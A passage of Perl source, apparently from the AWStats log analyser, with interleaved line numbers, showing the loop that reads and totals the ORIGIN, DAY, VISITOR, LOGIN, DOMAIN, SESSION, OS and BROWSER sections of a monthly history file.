                                                                $_from_p[0] += $field[1];
 
4035
                                                                $_from_h[0] += $field[2];
 
4036
                                                        }
 
4037
                                                        elsif ( $field[0] eq 'From1' ) {
 
4038
                                                                $_from_p[1] += $field[1];
 
4039
                                                                $_from_h[1] += $field[2];
 
4040
                                                        }
 
4041
                                                        elsif ( $field[0] eq 'From2' ) {
 
4042
                                                                $_from_p[2] += $field[1];
 
4043
                                                                $_from_h[2] += $field[2];
 
4044
                                                        }
 
4045
                                                        elsif ( $field[0] eq 'From3' ) {
 
4046
                                                                $_from_p[3] += $field[1];
 
4047
                                                                $_from_h[3] += $field[2];
 
4048
                                                        }
 
4049
                                                        elsif ( $field[0] eq 'From4' ) {
 
4050
                                                                $_from_p[4] += $field[1];
 
4051
                                                                $_from_h[4] += $field[2];
 
4052
                                                        }
 
4053
                                                        elsif ( $field[0] eq 'From5' ) {
 
4054
                                                                $_from_p[5] += $field[1];
 
4055
                                                                $_from_h[5] += $field[2];
 
4056
                                                        }
 
4057
                                                }
 
4058
                                        }
 
4059
                                        $_ = <HISTORY>;
 
4060
                                        chomp $_;
 
4061
                                        s/\r//;
 
4062
                                        @field =
 
4063
                                          split( /\s+/,
 
4064
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4065
                                        $countlines++;
 
4066
                                  } until ( $field[0] eq 'END_ORIGIN'
 
4067
                                          || $field[0] eq "${xmleb}END_ORIGIN"
 
4068
                                          || !$_ );
 
4069
                                if (   $field[0] ne 'END_ORIGIN'
 
4070
                                        && $field[0] ne "${xmleb}END_ORIGIN" )
 
4071
                                {
 
4072
                                        error(
 
4073
"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4074
                                                "", "", 1
 
4075
                                        );
 
4076
                                }
 
4077
                                if ($Debug) {
 
4078
                                        debug(
 
4079
" End of ORIGIN section ($count entries, $countloaded loaded)"
 
4080
                                        );
 
4081
                                }
 
4082
                                delete $SectionsToLoad{'origin'};
 
4083
                                if ( $SectionsToSave{'origin'} ) {
 
4084
                                        Save_History( 'origin', $year, $month, $date );
 
4085
                                        delete $SectionsToSave{'origin'};
 
4086
                                        if ($withpurge) { @_from_p = (); @_from_h = (); }
 
4087
                                }
 
4088
                                if ( !scalar %SectionsToLoad ) {
 
4089
                                        debug(" Stop reading history file. Got all we need.");
 
4090
                                        last;
 
4091
                                }
 
4092
                                next;
 
4093
                        }
 
4094
 
 
4095
                        # BEGIN_DAY
 
4096
                        if ( $field[0] eq 'BEGIN_DAY' ) {
 
4097
                                if ($Debug) { debug(" Begin of DAY section"); }
 
4098
                                $field[0] = '';
 
4099
                                my $count       = 0;
 
4100
                                my $countloaded = 0;
 
4101
                                do {
 
4102
                                        if ( $field[0] ) {
 
4103
                                                $count++;
 
4104
                                                if ( $SectionsToLoad{'day'} ) {
 
4105
                                                        $countloaded++;
 
4106
                                                        if ( $field[1] ) {
 
4107
                                                                $DayPages{ $field[0] } += int( $field[1] );
 
4108
                                                        }
 
4109
                                                        $DayHits{ $field[0] } +=
 
4110
                                                          int( $field[2] )
 
4111
                                                          ; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
 
4112
                                                        if ( $field[3] ) {
 
4113
                                                                $DayBytes{ $field[0] } += int( $field[3] );
 
4114
                                                        }
 
4115
                                                        if ( $field[4] ) {
 
4116
                                                                $DayVisits{ $field[0] } += int( $field[4] );
 
4117
                                                        }
 
4118
                                                }
 
4119
                                        }
 
4120
                                        $_ = <HISTORY>;
 
4121
                                        chomp $_;
 
4122
                                        s/\r//;
 
4123
                                        @field =
 
4124
                                          split( /\s+/,
 
4125
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4126
                                        $countlines++;
 
4127
                                  } until ( $field[0] eq 'END_DAY'
 
4128
                                          || $field[0] eq "${xmleb}END_DAY"
 
4129
                                          || !$_ );
 
4130
                                if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
 
4131
                                {
 
4132
                                        error(
 
4133
"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4134
                                                "", "", 1
 
4135
                                        );
 
4136
                                }
 
4137
                                if ($Debug) {
 
4138
                                        debug(
 
4139
" End of DAY section ($count entries, $countloaded loaded)"
 
4140
                                        );
 
4141
                                }
 
4142
                                delete $SectionsToLoad{'day'};
 
4143
 
 
4144
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
 
4145
#if ($SectionsToSave{'day'}) {  # Must be made after read of visitor
 
4146
#       Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
 
4147
#       if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
 
4148
#}
 
4149
                                if ( !scalar %SectionsToLoad ) {
 
4150
                                        debug(" Stop reading history file. Got all we need.");
 
4151
                                        last;
 
4152
                                }
 
4153
                                next;
 
4154
                        }
 
4155
 
 
4156
                        # BEGIN_VISITOR
 
4157
                        if ( $field[0] eq 'BEGIN_VISITOR' ) {
 
4158
                                if ($Debug) { debug(" Begin of VISITOR section"); }
 
4159
                                $field[0] = '';
 
4160
                                my $count       = 0;
 
4161
                                my $countloaded = 0;
 
4162
                                do {
 
4163
                                        if ( $field[0] ) {
 
4164
                                                $count++;
 
4165
 
 
4166
                                                # For backward compatibility
 
4167
                                                if ($readvisitorforbackward) {
 
4168
                                                        if ( $field[1] ) {
 
4169
                                                                $MonthUnique{ $year . $month }++;
 
4170
                                                        }
 
4171
                                                        if ( $MonthRequired ne 'all' ) {
 
4172
                                                                if (   $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
 
4173
                                                                        && $field[0] !~ /^[0-9A-F]*:/i )
 
4174
                                                                {
 
4175
                                                                        $MonthHostsKnown{ $year . $month }++;
 
4176
                                                                }
 
4177
                                                                else { $MonthHostsUnknown{ $year . $month }++; }
 
4178
                                                        }
 
4179
                                                }
 
4180
 
 
4181
                                                # Process data saved in 'wait' arrays
 
4182
                                                if ( $withupdate && $_waithost_e{ $field[0] } ) {
 
4183
                                                        my $timehostl = int( $field[4] || 0 );
 
4184
                                                        my $timehosts = int( $field[5] || 0 );
 
4185
                                                        my $newtimehosts = (
 
4186
                                                                  $_waithost_s{ $field[0] }
 
4187
                                                                ? $_waithost_s{ $field[0] }
 
4188
                                                                : $_host_s{ $field[0] }
 
4189
                                                        );
 
4190
                                                        my $newtimehostl = (
 
4191
                                                                  $_waithost_l{ $field[0] }
 
4192
                                                                ? $_waithost_l{ $field[0] }
 
4193
                                                                : $_host_l{ $field[0] }
 
4194
                                                        );
 
4195
                                                        if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
 
4196
                                                                if ($Debug) {
 
4197
                                                                        debug(
 
4198
" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",
 
4199
                                                                                4
 
4200
                                                                        );
 
4201
                                                                }
 
4202
                                                                if ( $field[6] ) { $_url_x{ $field[6] }++; }
 
4203
                                                                $_url_e{ $_waithost_e{ $field[0] } }++;
 
4204
                                                                $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
 
4205
                                                                $DayVisits{$1}++;
 
4206
                                                                if ( $timehosts && $timehostl ) {
 
4207
                                                                        $_session{
 
4208
                                                                                GetSessionRange( $timehosts,
 
4209
                                                                                        $timehostl )
 
4210
                                                                          }++;
 
4211
                                                                }
 
4212
                                                                if ( $_waithost_s{ $field[0] } ) {
 
4213
 
 
4214
           # First session found in log was followed by another one so it's finished
 
4215
                                                                        $_session{
 
4216
                                                                                GetSessionRange( $newtimehosts,
 
4217
                                                                                        $newtimehostl )
 
4218
                                                                          }++;
 
4219
                                                                }
 
4220
 
 
4221
                                         # Here $_host_l $_host_s and $_host_u are correctly defined
 
4222
                                                        }
 
4223
                                                        else {
 
4224
                                                                if ($Debug) {
 
4225
                                                                        debug(
 
4226
" Visit for $field[0] in 'wait' arrays is following of last visit in history",
 
4227
                                                                                4
 
4228
                                                                        );
 
4229
                                                                }
 
4230
                                                                if ( $_waithost_s{ $field[0] } ) {
 
4231
 
 
4232
           # First session found in log was followed by another one so it's finished
 
4233
                                                                        $_session{
 
4234
                                                                                GetSessionRange(
 
4235
                                                                                        MinimumButNoZero(
 
4236
                                                                                                $timehosts, $newtimehosts
 
4237
                                                                                        ),
 
4238
                                                                                        $timehostl > $newtimehostl
 
4239
                                                                                        ? $timehostl
 
4240
                                                                                        : $newtimehostl
 
4241
                                                                                )
 
4242
                                                                          }++;
 
4243
 
 
4244
                                         # Here $_host_l $_host_s and $_host_u are correctly defined
 
4245
                                                                }
 
4246
                                                                else {
 
4247
 
 
4248
                                                                        # We correct $_host_l $_host_s and $_host_u
 
4249
                                                                        if ( $timehostl > $newtimehostl ) {
 
4250
                                                                                $_host_l{ $field[0] } = $timehostl;
 
4251
                                                                                $_host_u{ $field[0] } = $field[6];
 
4252
                                                                        }
 
4253
                                                                        if ( $timehosts < $newtimehosts ) {
 
4254
                                                                                $_host_s{ $field[0] } = $timehosts;
 
4255
                                                                        }
 
4256
                                                                }
 
4257
                                                        }
 
4258
                                                        delete $_waithost_e{ $field[0] };
 
4259
                                                        delete $_waithost_l{ $field[0] };
 
4260
                                                        delete $_waithost_s{ $field[0] };
 
4261
                                                        delete $_waithost_u{ $field[0] };
 
4262
                                                }
 
4263
 
 
4264
                                                # Load records
 
4265
                                                if (   $readvisitorforbackward != 2
 
4266
                                                        && $SectionsToLoad{'visitor'} )
 
4267
                                                {    # if readvisitorforbackward==2 we do not load
 
4268
                                                        my $loadrecord = 0;
 
4269
                                                        if ($withupdate) {
 
4270
                                                                $loadrecord = 1;
 
4271
                                                        }
 
4272
                                                        else {
 
4273
                                                                if (   $HTMLOutput{'allhosts'}
 
4274
                                                                        || $HTMLOutput{'lasthosts'} )
 
4275
                                                                {
 
4276
                                                                        if (
 
4277
                                                                                (
 
4278
                                                                                        !$FilterIn{'host'}
 
4279
                                                                                        || $field[0] =~ /$FilterIn{'host'}/i
 
4280
                                                                                )
 
4281
                                                                                && ( !$FilterEx{'host'}
 
4282
                                                                                        || $field[0] !~
 
4283
                                                                                        /$FilterEx{'host'}/i )
 
4284
                                                                          )
 
4285
                                                                        {
 
4286
                                                                                $loadrecord = 1;
 
4287
                                                                        }
 
4288
                                                                }
 
4289
                                                                elsif ($MonthRequired eq 'all'
 
4290
                                                                        || $field[2] >= $MinHit{'Host'} )
 
4291
                                                                {
 
4292
                                                                        if (
 
4293
                                                                                $HTMLOutput{'unknownip'}
 
4294
                                                                                && ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
 
4295
                                                                                        || $field[0] =~ /^[0-9A-F]*:/i )
 
4296
                                                                          )
 
4297
                                                                        {
 
4298
                                                                                $loadrecord = 1;
 
4299
                                                                        }
 
4300
                                                                        elsif (
 
4301
                                                                                $HTMLOutput{'main'}
 
4302
                                                                                && (   $MonthRequired eq 'all'
 
4303
                                                                                        || $countloaded <
 
4304
                                                                                        $MaxNbOf{'HostsShown'} )
 
4305
                                                                          )
 
4306
                                                                        {
 
4307
                                                                                $loadrecord = 1;
 
4308
                                                                        }
 
4309
                                                                }
 
4310
                                                        }
 
4311
                                                        if ($loadrecord) {
 
4312
                                                                if ( $field[1] ) {
 
4313
                                                                        $_host_p{ $field[0] } += $field[1];
 
4314
                                                                }
 
4315
                                                                if ( $field[2] ) {
 
4316
                                                                        $_host_h{ $field[0] } += $field[2];
 
4317
                                                                }
 
4318
                                                                if ( $field[3] ) {
 
4319
                                                                        $_host_k{ $field[0] } += $field[3];
 
4320
                                                                }
 
4321
                                                                if ( $field[4] && !$_host_l{ $field[0] } )
 
4322
                                                                { # We save last connexion params if not previously defined
 
4323
                                                                        $_host_l{ $field[0] } = int( $field[4] );
 
4324
                                                                        if ($withupdate)
 
4325
                                                                        { # field[5] field[6] are used only for update
 
4326
                                                                                if ( $field[5]
 
4327
                                                                                        && !$_host_s{ $field[0] } )
 
4328
                                                                                {
 
4329
                                                                                        $_host_s{ $field[0] } =
 
4330
                                                                                          int( $field[5] );
 
4331
                                                                                }
 
4332
                                                                                if ( $field[6]
 
4333
                                                                                        && !$_host_u{ $field[0] } )
 
4334
                                                                                {
 
4335
                                                                                        $_host_u{ $field[0] } = $field[6];
 
4336
                                                                                }
 
4337
                                                                        }
 
4338
                                                                }
 
4339
                                                                $countloaded++;
 
4340
                                                        }
 
4341
                                                }
 
4342
                                        }
 
4343
                                        $_ = <HISTORY>;
 
4344
                                        chomp $_;
 
4345
                                        s/\r//;
 
4346
                                        @field =
 
4347
                                          split( /\s+/,
 
4348
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4349
                                        $countlines++;
 
4350
                                  } until ( $field[0] eq 'END_VISITOR'
 
4351
                                          || $field[0] eq "${xmleb}END_VISITOR"
 
4352
                                          || !$_ );
 
4353
                                if (   $field[0] ne 'END_VISITOR'
 
4354
                                        && $field[0] ne "${xmleb}END_VISITOR" )
 
4355
                                {
 
4356
                                        error(
 
4357
"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4358
                                                "", "", 1
 
4359
                                        );
 
4360
                                }
 
4361
                                if ($Debug) {
 
4362
                                        debug(
 
4363
" End of VISITOR section ($count entries, $countloaded loaded)"
 
4364
                                        );
 
4365
                                }
 
4366
                                delete $SectionsToLoad{'visitor'};
 
4367
 
 
4368
# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
 
4369
#if ($SectionsToSave{'visitor'}) {
 
4370
#       Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
 
4371
#       if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
 
4372
#}
 
4373
                                if ( !scalar %SectionsToLoad ) {
 
4374
                                        debug(" Stop reading history file. Got all we need.");
 
4375
                                        last;
 
4376
                                }
 
4377
                                next;
 
4378
                        }
 
4379
 
 
4380
                        # BEGIN_UNKNOWNIP for backward compatibility
 
4381
                        if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) {
 
4382
                                my %iptomigrate = ();
 
4383
                                if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
 
4384
                                $field[0] = '';
 
4385
                                my $count       = 0;
 
4386
                                my $countloaded = 0;
 
4387
                                do {
 
4388
                                        if ( $field[0] ) {
 
4389
                                                $count++;
 
4390
                                                if ( $SectionsToLoad{'unknownip'} ) {
 
4391
                                                        $iptomigrate{ $field[0] } = $field[1] || 0;
 
4392
                                                        $countloaded++;
 
4393
                                                }
 
4394
                                        }
 
4395
                                        $_ = <HISTORY>;
 
4396
                                        chomp $_;
 
4397
                                        s/\r//;
 
4398
                                        @field =
 
4399
                                          split( /\s+/,
 
4400
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4401
                                        $countlines++;
 
4402
                                  } until ( $field[0] eq 'END_UNKNOWNIP'
 
4403
                                          || $field[0] eq "${xmleb}END_UNKNOWNIP"
 
4404
                                          || !$_ );
 
4405
                                if (   $field[0] ne 'END_UNKNOWNIP'
 
4406
                                        && $field[0] ne "${xmleb}END_UNKNOWNIP" )
 
4407
                                {
 
4408
                                        error(
 
4409
"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4410
                                                "", "", 1
 
4411
                                        );
 
4412
                                }
 
4413
                                if ($Debug) {
 
4414
                                        debug(
 
4415
" End of UNKOWNIP section ($count entries, $countloaded loaded)"
 
4416
                                        );
 
4417
                                }
 
4418
                                delete $SectionsToLoad{'visitor'};
 
4419
 
 
4420
# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
 
4421
                                foreach ( keys %iptomigrate ) {
 
4422
                                        $_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded );
 
4423
                                        $_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded );
 
4424
                                        $_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded );
 
4425
                                        if ( $iptomigrate{$_} > 0 ) {
 
4426
                                                $_host_l{$_} = $iptomigrate{$_};
 
4427
                                        }
 
4428
                                }
 
4429
                                delete $_host_p{'Unknown'};
 
4430
                                delete $_host_h{'Unknown'};
 
4431
                                delete $_host_k{'Unknown'};
 
4432
                                delete $_host_l{'Unknown'};
 
4433
                                if ( !scalar %SectionsToLoad ) {
 
4434
                                        debug(" Stop reading history file. Got all we need.");
 
4435
                                        last;
 
4436
                                }
 
4437
                                next;
 
4438
                        }
 
4439
 
 
4440
                        # BEGIN_LOGIN
 
4441
                        if ( $field[0] eq 'BEGIN_LOGIN' ) {
 
4442
                                if ($Debug) { debug(" Begin of LOGIN section"); }
 
4443
                                $field[0] = '';
 
4444
                                my $count       = 0;
 
4445
                                my $countloaded = 0;
 
4446
                                do {
 
4447
                                        if ( $field[0] ) {
 
4448
                                                $count++;
 
4449
                                                if ( $SectionsToLoad{'login'} ) {
 
4450
                                                        $countloaded++;
 
4451
                                                        if ( $field[1] ) {
 
4452
                                                                $_login_p{ $field[0] } += $field[1];
 
4453
                                                        }
 
4454
                                                        if ( $field[2] ) {
 
4455
                                                                $_login_h{ $field[0] } += $field[2];
 
4456
                                                        }
 
4457
                                                        if ( $field[3] ) {
 
4458
                                                                $_login_k{ $field[0] } += $field[3];
 
4459
                                                        }
 
4460
                                                        if ( !$_login_l{ $field[0] } && $field[4] ) {
 
4461
                                                                $_login_l{ $field[0] } = int( $field[4] );
 
4462
                                                        }
 
4463
                                                }
 
4464
                                        }
 
4465
                                        $_ = <HISTORY>;
 
4466
                                        chomp $_;
 
4467
                                        s/\r//;
 
4468
                                        @field =
 
4469
                                          split( /\s+/,
 
4470
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4471
                                        $countlines++;
 
4472
                                  } until ( $field[0] eq 'END_LOGIN'
 
4473
                                          || $field[0] eq "${xmleb}END_LOGIN"
 
4474
                                          || !$_ );
 
4475
                                if (   $field[0] ne 'END_LOGIN'
 
4476
                                        && $field[0] ne "${xmleb}END_LOGIN" )
 
4477
                                {
 
4478
                                        error(
 
4479
"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4480
                                                "", "", 1
 
4481
                                        );
 
4482
                                }
 
4483
                                if ($Debug) {
 
4484
                                        debug(
 
4485
" End of LOGIN section ($count entries, $countloaded loaded)"
 
4486
                                        );
 
4487
                                }
 
4488
                                delete $SectionsToLoad{'login'};
 
4489
                                if ( $SectionsToSave{'login'} ) {
 
4490
                                        Save_History( 'login', $year, $month, $date );
 
4491
                                        delete $SectionsToSave{'login'};
 
4492
                                        if ($withpurge) {
 
4493
                                                %_login_p = ();
 
4494
                                                %_login_h = ();
 
4495
                                                %_login_k = ();
 
4496
                                                %_login_l = ();
 
4497
                                        }
 
4498
                                }
 
4499
                                if ( !scalar %SectionsToLoad ) {
 
4500
                                        debug(" Stop reading history file. Got all we need.");
 
4501
                                        last;
 
4502
                                }
 
4503
                                next;
 
4504
                        }
 
4505
 
 
4506
                        # BEGIN_DOMAIN
 
4507
                        if ( $field[0] eq 'BEGIN_DOMAIN' ) {
 
4508
                                if ($Debug) { debug(" Begin of DOMAIN section"); }
 
4509
                                $field[0] = '';
 
4510
                                my $count       = 0;
 
4511
                                my $countloaded = 0;
 
4512
                                do {
 
4513
                                        if ( $field[0] ) {
 
4514
                                                $count++;
 
4515
                                                if ( $SectionsToLoad{'domain'} ) {
 
4516
                                                        $countloaded++;
 
4517
                                                        if ( $field[1] ) {
 
4518
                                                                $_domener_p{ $field[0] } += $field[1];
 
4519
                                                        }
 
4520
                                                        if ( $field[2] ) {
 
4521
                                                                $_domener_h{ $field[0] } += $field[2];
 
4522
                                                        }
 
4523
                                                        if ( $field[3] ) {
 
4524
                                                                $_domener_k{ $field[0] } += $field[3];
 
4525
                                                        }
 
4526
                                                }
 
4527
                                        }
 
4528
                                        $_ = <HISTORY>;
 
4529
                                        chomp $_;
 
4530
                                        s/\r//;
 
4531
                                        @field =
 
4532
                                          split( /\s+/,
 
4533
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4534
                                        $countlines++;
 
4535
                                  } until ( $field[0] eq 'END_DOMAIN'
 
4536
                                          || $field[0] eq "${xmleb}END_DOMAIN"
 
4537
                                          || !$_ );
 
4538
                                if (   $field[0] ne 'END_DOMAIN'
 
4539
                                        && $field[0] ne "${xmleb}END_DOMAIN" )
 
4540
                                {
 
4541
                                        error(
 
4542
"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4543
                                                "", "", 1
 
4544
                                        );
 
4545
                                }
 
4546
                                if ($Debug) {
 
4547
                                        debug(
 
4548
" End of DOMAIN section ($count entries, $countloaded loaded)"
 
4549
                                        );
 
4550
                                }
 
4551
                                delete $SectionsToLoad{'domain'};
 
4552
                                if ( $SectionsToSave{'domain'} ) {
 
4553
                                        Save_History( 'domain', $year, $month, $date );
 
4554
                                        delete $SectionsToSave{'domain'};
 
4555
                                        if ($withpurge) {
 
4556
                                                %_domener_p = ();
 
4557
                                                %_domener_h = ();
 
4558
                                                %_domener_k = ();
 
4559
                                        }
 
4560
                                }
 
4561
                                if ( !scalar %SectionsToLoad ) {
 
4562
                                        debug(" Stop reading history file. Got all we need.");
 
4563
                                        last;
 
4564
                                }
 
4565
                                next;
 
4566
                        }
 
4567
 
 
4568
                        # BEGIN_SESSION
 
4569
                        if ( $field[0] eq 'BEGIN_SESSION' ) {
 
4570
                                if ($Debug) { debug(" Begin of SESSION section"); }
 
4571
                                $field[0] = '';
 
4572
                                my $count       = 0;
 
4573
                                my $countloaded = 0;
 
4574
                                do {
 
4575
                                        if ( $field[0] ) {
 
4576
                                                $count++;
 
4577
                                                if ( $SectionsToLoad{'session'} ) {
 
4578
                                                        $countloaded++;
 
4579
                                                        if ( $field[1] ) {
 
4580
                                                                $_session{ $field[0] } += $field[1];
 
4581
                                                        }
 
4582
                                                }
 
4583
                                        }
 
4584
                                        $_ = <HISTORY>;
 
4585
                                        chomp $_;
 
4586
                                        s/\r//;
 
4587
                                        @field =
 
4588
                                          split( /\s+/,
 
4589
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4590
                                        $countlines++;
 
4591
                                  } until ( $field[0] eq 'END_SESSION'
 
4592
                                          || $field[0] eq "${xmleb}END_SESSION"
 
4593
                                          || !$_ );
 
4594
                                if (   $field[0] ne 'END_SESSION'
 
4595
                                        && $field[0] ne "${xmleb}END_SESSION" )
 
4596
                                {
 
4597
                                        error(
 
4598
"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4599
                                                "", "", 1
 
4600
                                        );
 
4601
                                }
 
4602
                                if ($Debug) {
 
4603
                                        debug(
 
4604
" End of SESSION section ($count entries, $countloaded loaded)"
 
4605
                                        );
 
4606
                                }
 
4607
                                delete $SectionsToLoad{'session'};
 
4608
 
 
4609
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
 
4610
#if ($SectionsToSave{'session'}) {
 
4611
#       Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
 
4612
#       if ($withpurge) { %_session=(); }
 
4613
#}
 
4614
                                if ( !scalar %SectionsToLoad ) {
 
4615
                                        debug(" Stop reading history file. Got all we need.");
 
4616
                                        last;
 
4617
                                }
 
4618
                                next;
 
4619
                        }
 
4620
 
 
4621
                        # BEGIN_OS
 
4622
                        if ( $field[0] eq 'BEGIN_OS' ) {
 
4623
                                if ($Debug) { debug(" Begin of OS section"); }
 
4624
                                $field[0] = '';
 
4625
                                my $count       = 0;
 
4626
                                my $countloaded = 0;
 
4627
                                do {
 
4628
                                        if ( $field[0] ) {
 
4629
                                                $count++;
 
4630
                                                if ( $SectionsToLoad{'os'} ) {
 
4631
                                                        $countloaded++;
 
4632
                                                        if ( $field[1] ) {
 
4633
                                                                $_os_h{ $field[0] } += $field[1];
 
4634
                                                        }
 
4635
                                                }
 
4636
                                        }
 
4637
                                        $_ = <HISTORY>;
 
4638
                                        chomp $_;
 
4639
                                        s/\r//;
 
4640
                                        @field =
 
4641
                                          split( /\s+/,
 
4642
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4643
                                        $countlines++;
 
4644
                                  } until ( $field[0] eq 'END_OS'
 
4645
                                          || $field[0] eq "${xmleb}END_OS"
 
4646
                                          || !$_ );
 
4647
                                if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
 
4648
                                        error(
 
4649
"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4650
                                                "", "", 1
 
4651
                                        );
 
4652
                                }
 
4653
                                if ($Debug) {
 
4654
                                        debug(
 
4655
" End of OS section ($count entries, $countloaded loaded)"
 
4656
                                        );
 
4657
                                }
 
4658
                                delete $SectionsToLoad{'os'};
 
4659
                                if ( $SectionsToSave{'os'} ) {
 
4660
                                        Save_History( 'os', $year, $month, $date );
 
4661
                                        delete $SectionsToSave{'os'};
 
4662
                                        if ($withpurge) { %_os_h = (); }
 
4663
                                }
 
4664
                                if ( !scalar %SectionsToLoad ) {
 
4665
                                        debug(" Stop reading history file. Got all we need.");
 
4666
                                        last;
 
4667
                                }
 
4668
                                next;
 
4669
                        }
 
4670
 
 
4671
                        # BEGIN_BROWSER
 
4672
                        if ( $field[0] eq 'BEGIN_BROWSER' ) {
 
4673
                                if ($Debug) { debug(" Begin of BROWSER section"); }
 
4674
                                $field[0] = '';
 
4675
                                my $count       = 0;
 
4676
                                my $countloaded = 0;
 
4677
                                do {
 
4678
                                        if ( $field[0] ) {
 
4679
                                                $count++;
 
4680
                                                if ( $SectionsToLoad{'browser'} ) {
 
4681
                                                        $countloaded++;
 
4682
                                                        if ( $field[1] ) {
 
4683
                                                                $_browser_h{ $field[0] } += $field[1];
 
4684
                                                        }
 
4685
                                                }
 
4686
                                        }
 
4687
                                        $_ = <HISTORY>;
 
4688
                                        chomp $_;
 
4689
                                        s/\r//;
 
4690
                                        @field =
 
4691
                                          split( /\s+/,
 
4692
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4693
                                        $countlines++;
 
4694
                                  } until ( $field[0] eq 'END_BROWSER'
 
4695
                                          || $field[0] eq "${xmleb}END_BROWSER"
 
4696
                                          || !$_ );
 
4697
                                if (   $field[0] ne 'END_BROWSER'
 
4698
                                        && $field[0] ne "${xmleb}END_BROWSER" )
 
4699
                                {
 
4700
                                        error(
 
4701
"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
4702
                                                "", "", 1
 
4703
                                        );
 
4704
                                }
 
4705
                                if ($Debug) {
 
4706
                                        debug(
 
4707
" End of BROWSER section ($count entries, $countloaded loaded)"
 
4708
                                        );
 
4709
                                }
 
4710
                                delete $SectionsToLoad{'browser'};
 
4711
                                if ( $SectionsToSave{'browser'} ) {
 
4712
                                        Save_History( 'browser', $year, $month, $date );
 
4713
                                        delete $SectionsToSave{'browser'};
 
4714
                                        if ($withpurge) { %_browser_h = (); }
 
4715
                                }
 
4716
                                if ( !scalar %SectionsToLoad ) {
 
4717
                                        debug(" Stop reading history file. Got all we need.");
 
4718
                                        last;
 
4719
                                }
 
4720
                                next;
 
4721
                        }
 
4722
 
 
4723
                        # BEGIN_UNKNOWNREFERER
 
4724
                        if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) {
 
4725
                                if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
 
4726
                                $field[0] = '';
 
4727
                                my $count       = 0;
 
4728
                                my $countloaded = 0;
 
4729
                                do {
 
4730
                                        if ( $field[0] ) {
 
4731
                                                $count++;
 
4732
                                                if ( $SectionsToLoad{'unknownreferer'} ) {
 
4733
                                                        $countloaded++;
 
4734
                                                        if ( !$_unknownreferer_l{ $field[0] } ) {
 
4735
                                                                $_unknownreferer_l{ $field[0] } =
 
4736
                                                                  int( $field[1] );
 
4737
                                                        }
 
4738
                                                }
 
4739
                                        }
 
4740
                                        $_ = <HISTORY>;
 
4741
                                        chomp $_;
 
4742
                                        s/\r//;
 
4743
                                        @field =
 
4744
                                          split( /\s+/,
 
4745
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
4746
                                        $countlines++;
 
4747
                                  } until ( $field[0] eq 'END_UNKNOWNREFERER'
 
4748
                                          || $field[0] eq "${xmleb}END_UNKNOWNREFERER"
 
4749
                                          || !$_ );
 
4750
                                if (   $field[0] ne 'END_UNKNOWNREFERER'
 
4751
                                        && $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
 
4752
                                {
 
4753
                                        error(
 
4754
